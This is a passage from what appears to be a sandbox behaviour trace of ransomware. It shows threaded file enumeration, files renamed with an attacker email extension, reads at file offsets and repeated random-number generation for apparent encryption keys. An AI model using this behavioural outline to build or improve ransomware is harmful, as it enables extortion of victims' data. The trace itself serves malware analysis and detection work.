(HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f91ea0 [0168.957] wcscpy (in: _Dest=0x2f91ea0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.957] wcscat (in: _Dest=0x2f91ea0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.957] wcscat (in: _Dest=0x2f91ea0, _Source="GetStarted.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731" [0168.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0168.958] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x870469cd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GETSTA~2.D0E")) returned 1 [0168.958] wcscmp (_String1="GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.958] wcscmp (_String1="GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.958] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x3024850 [0168.958] wcscpy (in: _Dest=0x3024850, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.958] wcscat (in: _Dest=0x3024850, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.958] wcscat (in: _Dest=0x3024850, _Source="GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731" [0168.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0168.959] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8706cb4f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x44b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="loading.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOADIN~1.D0E")) returned 1 [0168.959] wcscmp (_String1="loading.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.959] wcscmp (_String1="loading.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fee198 [0168.959] wcscpy (in: _Dest=0x2fee198, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.959] wcscat (in: _Dest=0x2fee198, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.959] wcscat (in: _Dest=0x2fee198, _Source="loading.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731" [0168.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0168.960] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x87092d05, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="lock.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCKPN~1.D0E")) returned 1 [0168.960] wcscmp (_String1="lock.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.960] wcscmp (_String1="lock.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.960] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe3220 [0168.960] wcscpy (in: _Dest=0x2fe3220, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.960] wcscat (in: _Dest=0x2fe3220, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.960] wcscat (in: _Dest=0x2fe3220, _Source="lock.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731" [0168.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0168.961] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x870b9002, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOGOPN~1.D0E")) returned 1 [0168.961] wcscmp (_String1="logo.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.961] wcscmp (_String1="logo.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.961] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe37c0 [0168.961] wcscpy (in: _Dest=0x2fe37c0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.961] wcscat (in: _Dest=0x2fe37c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.961] wcscat (in: _Dest=0x2fe37c0, _Source="logo.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731" [0168.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe37c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0168.962] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8710537d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="marketing.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MARKET~1.D0E")) returned 1 [0168.962] wcscmp (_String1="marketing.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.962] wcscmp (_String1="marketing.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fee4e0 [0168.962] wcscpy (in: _Dest=0x2fee4e0, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.962] wcscat (in: _Dest=0x2fee4e0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.962] wcscat (in: _Dest=0x2fee4e0, _Source="marketing.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731" [0168.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0168.963] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinJS", cAlternateFileName="MICROS~1.WIN")) returned 1 [0168.963] wcscmp (_String1="Microsoft.WinJS", _String2=".") returned 1 [0168.963] wcscmp (_String1="Microsoft.WinJS", _String2="..") returned 1 [0168.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f67c30 [0168.963] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.963] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.963] wcscat (in: _Dest=0x2f67c30, _Source="Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0168.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f67c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0168.964] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea627c0d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea627c0d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8712b6a2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x97f0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NETWOR~1.D0E")) returned 1 [0168.964] wcscmp (_String1="NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.964] wcscmp (_String1="NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83738 [0168.964] wcscpy (in: _Dest=0x2f83738, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.964] wcscat (in: _Dest=0x2f83738, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.964] wcscat (in: _Dest=0x2f83738, _Source="NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731" [0168.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0168.965] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8719dff1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x935, dwReserved0=0x0, dwReserved1=0x0, cFileName="NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NONETW~1.D0E")) returned 1 [0168.965] wcscmp (_String1="NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.965] wcscmp (_String1="NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.965] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x3024550 [0168.965] wcscpy (in: _Dest=0x3024550, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.965] wcscat (in: _Dest=0x3024550, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.965] wcscat (in: _Dest=0x3024550, _Source="NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731" [0168.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0168.966] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x871ea26f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NONETW~2.D0E")) returned 1 [0168.966] wcscmp (_String1="NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.966] wcscmp (_String1="NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc36e8 [0168.966] wcscpy (in: _Dest=0x2fc36e8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.966] wcscat (in: _Dest=0x2fc36e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.966] wcscat (in: _Dest=0x2fc36e8, _Source="NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731" [0168.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc36e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0168.967] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x872103df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="pass.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PASSPN~1.D0E")) returned 1 [0168.967] wcscmp (_String1="pass.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.967] wcscmp (_String1="pass.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa21d8 [0168.974] wcscpy (in: _Dest=0x2fa21d8, _Source="C:\\Windows10Upgrade\\resources\\ux" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux") returned="C:\\Windows10Upgrade\\resources\\ux" [0168.974] wcscat (in: _Dest=0x2fa21d8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0168.974] wcscat (in: _Dest=0x2fa21d8, _Source="pass.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731" [0168.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa21d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0168.975] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2fe19d8 | out: lpFindFileData=0x2fe19d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x872103df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="pass.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PASSPN~1.D0E")) returned 0 [0168.975] FindClose (in: hFindFile=0x2f7fd20 | out: hFindFile=0x2f7fd20) returned 1 [0168.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19d8) returned 1 [0168.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1180) returned 1 [0168.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1630) returned 1 [0168.976] RtlExitUserThread (Status=0x0) Thread: id = 1697 os_tid = 0xce0 [0168.473] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.475] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.475] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0168.476] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0xc06f858 | out: lpFileSize=0xc06f858*=348) returned 1 [0168.476] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.476] ReadFile (in: hFile=0x6f0, lpBuffer=0xc06f82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc06f828, lpOverlapped=0x0 | out: lpBuffer=0xc06f82c*, lpNumberOfBytesRead=0xc06f828*=0x4, lpOverlapped=0x0) returned 1 [0168.477] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.477] CloseHandle (hObject=0x6f0) returned 1 [0168.477] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee780) returned 1 [0168.477] RtlExitUserThread (Status=0x0) Thread: id = 1698 os_tid = 0xce4 [0168.485] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.487] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.487] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0168.488] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0xc0efcc8 | out: lpFileSize=0xc0efcc8*=42866) returned 1 [0168.488] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0xa76e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.488] ReadFile (in: hFile=0x6f0, lpBuffer=0xc0efc9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc0efc98, lpOverlapped=0x0 | out: lpBuffer=0xc0efc9c*, lpNumberOfBytesRead=0xc0efc98*=0x4, lpOverlapped=0x0) returned 1 [0168.489] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88160 [0168.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88228 [0168.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f882a0 [0168.489] NtQuerySystemTime (in: CurrentTime=0xc0efc74 | out: CurrentTime=0xc0efc74*=132121213258081898) returned 0x0 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x38d150a2 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x9ce7e49c [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xbcac1746 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xea1a5349 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xf26e20c1 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x6a9f5941 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x1850511 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xe8c7b900 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x62eee20f [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x6fb10e9b [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x45d465b9 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x6b9a61b [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x22af1cac [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xa6214dc6 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x52b23e74 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x71218245 [0168.489] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xb2006ecd [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xc28dc67a [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x3a29f906 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xf57e3fad [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xec15d0be [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x5b41033 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xdb9c670 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x998ee733 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xd73f6c87 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x4cf52ce8 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x30bea201 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x197d135a [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x18c7f34b [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0xc56298d3 [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 0x3695ea6c [0168.490] RtlRandom (in: Seed=0xc0efc80 | out: Seed=0xc0efc80) returned 